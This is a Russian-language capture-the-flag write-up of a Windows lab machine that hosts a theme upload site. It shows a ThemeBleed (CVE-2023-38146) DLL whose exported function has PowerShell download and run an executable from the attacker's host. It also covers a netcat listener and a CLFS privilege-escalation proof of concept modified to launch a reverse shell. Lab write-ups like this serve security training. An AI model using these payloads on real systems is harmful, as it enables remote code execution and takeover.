Обзор сервисов

Проведем стандартное сканирование портов машины 10.10.11.237 с помощью nmap:

$ nmap -sC -sT -Pn -p1-65535 -oN 10.10.11.237 10.10.11.237
Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-09 20:39 GMT
Nmap scan report for 10.10.11.237
Host is up (0.051s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE
80/tcp open  http
|_http-title: Aero Theme Hub

Nmap done: 1 IP address (1 host up) scanned in 115.65 seconds

Открыт только веб-сервис.

Windows-машина

Далее все действия будем выполнять на Windows-машине с установленным Visual Studio и отключенным сервисом lanmanserver (так как нам нужен порт 445).

Веб-сервис

Похоже, мы можем загружать на сайт.

Alt text

Если загрузить любую тему на сайт, то получим сообщение File upload succeeded. Once we test your theme it will be added to the site!

Воспользуемся уязвимостью ThemeBleed (CVE-2023-38146).

Создадим проект в Visual Studio - DLL с экспортами.

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <process.h>

extern "C" __declspec(dllexport) void VerifyThemeVersion()
{
    system("powershell -c \"curl -outfile $env:temp\\s.exe http://10.10.14.9:4242/s.exe; start $env:temp\\s.exe\"");
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

После сборки получившуюся DLL-библиотеку надо положить в каталог data внутри themebleed под именем stage_3.

Сборка themebleed в Visual Studio (перевыставляем тип сборки в Release):

Build -> Build Solution

Alt text

Создадим файл темы и запустим сервер (перед запуском сервера нужно остановить сервис Server и перезапустить машину):

> ThemeBleed.exe make_theme 10.10.14.9 aero.theme
> ThemeBleed.exe server

Теперь загрузим тему на сайт и сразу же поймаем шелл.

Alt text

Alt text

Пользовательский флаг

Alt text

Повышение привилегий

В документах находим PDF-файл с описанием уязвимости.

CVE-2023-28252 Summary:
Vulnerability Type: Privilege Escalation
Target Component: Common Log File System (CLFS)
Risk Level: Critical
Exploitation Date: February 2022 onwards
Patch Released by Microsoft: April 2023
Background:
The Nokoyawa ransomware group has been active since February 2022, and it was only
in April 2023 that Microsoft released a patch to address this issue. This
vulnerability has been used as a means for attackers to gain unauthorized access to
Windows systems, making it imperative for us to apply the necessary patch to
safeguard our infrastructure.
According to Kaspersky’s analysis, the Nokoyawa ransomware group has used other
exploits targeting the CLFS driver since June 2022, with similar but distinct
characteristics, all linked to a single exploit developer.
Actions Required:
Immediate Patching: We strongly recommend applying the security patch released by
Microsoft for CVE-2023-28252 as soon as possible to mitigate the risk associated
with this vulnerability. Failing to do so could leave our servers exposed to
potential exploitation.
Review and Monitoring: In addition to patching, we should conduct a thorough review
of our server logs to check for any signs of suspicious activity or unauthorized
access. Continuous monitoring of our server environment is crucial to ensure the
security of our systems.
Security Awareness: It is essential to remind all team members of the importance of
practicing good cybersecurity hygiene. Encourage the use of strong, unique
passwords and two-factor authentication wherever applicable.
Incident Response Plan: Ensure that our incident response plan is up-to-date and
ready for immediate activation in case of any security incidents. Timely detection
and response are critical in mitigating the impact of potential attacks.

Находим POC CVE-2023-28252 на гитхабе. Перед сборкой проекта в Visual Studio фиксим запуск notepad.exe на наш шелл.

Возьмем powershell base64 шелл с revshells.com.

Alt text

Alt text

Соберем бинарник и загрузим его на атакуемую систему.

Запустим неткат:

> nc -rlvp 4245

На удаленной машине запустим получившийся бинарник и поймаем шелл.

Alt text

Флаг суперпользователя

Alt text